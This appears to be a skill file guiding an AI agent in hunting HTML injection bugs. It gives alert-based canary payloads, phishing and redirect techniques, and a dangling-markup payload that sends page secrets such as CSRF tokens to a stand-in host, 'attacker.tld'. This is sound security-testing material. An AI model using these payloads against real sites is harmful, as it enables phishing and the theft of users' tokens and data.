hunt-html-injection
Installation
SKILL.md
What is HTML Injection
HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.
To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary — e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.
Impact:
- Phishing via injected
<form>or<a href="attacker.com">tags - UI defacement —
<h1>HACKED</h1>renders visually on the page - Credential harvesting via injected login forms
- Redirect via
<meta http-equiv="refresh"> - Stepping stone to XSS (may be blocked by WAF on
<script>but not<img onerror>) - Dangling-markup exfiltration — even with
<script>and event handlers filtered, an unterminated tag can capture page content that follows it. Inject<img src='//attacker.tld/log?html=(no closing quote/>); the browser treats everything up to the next'as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw<is reflected. - Email/notification-context injection — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected
<a>/<img>/dangling markup in the recipient's inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.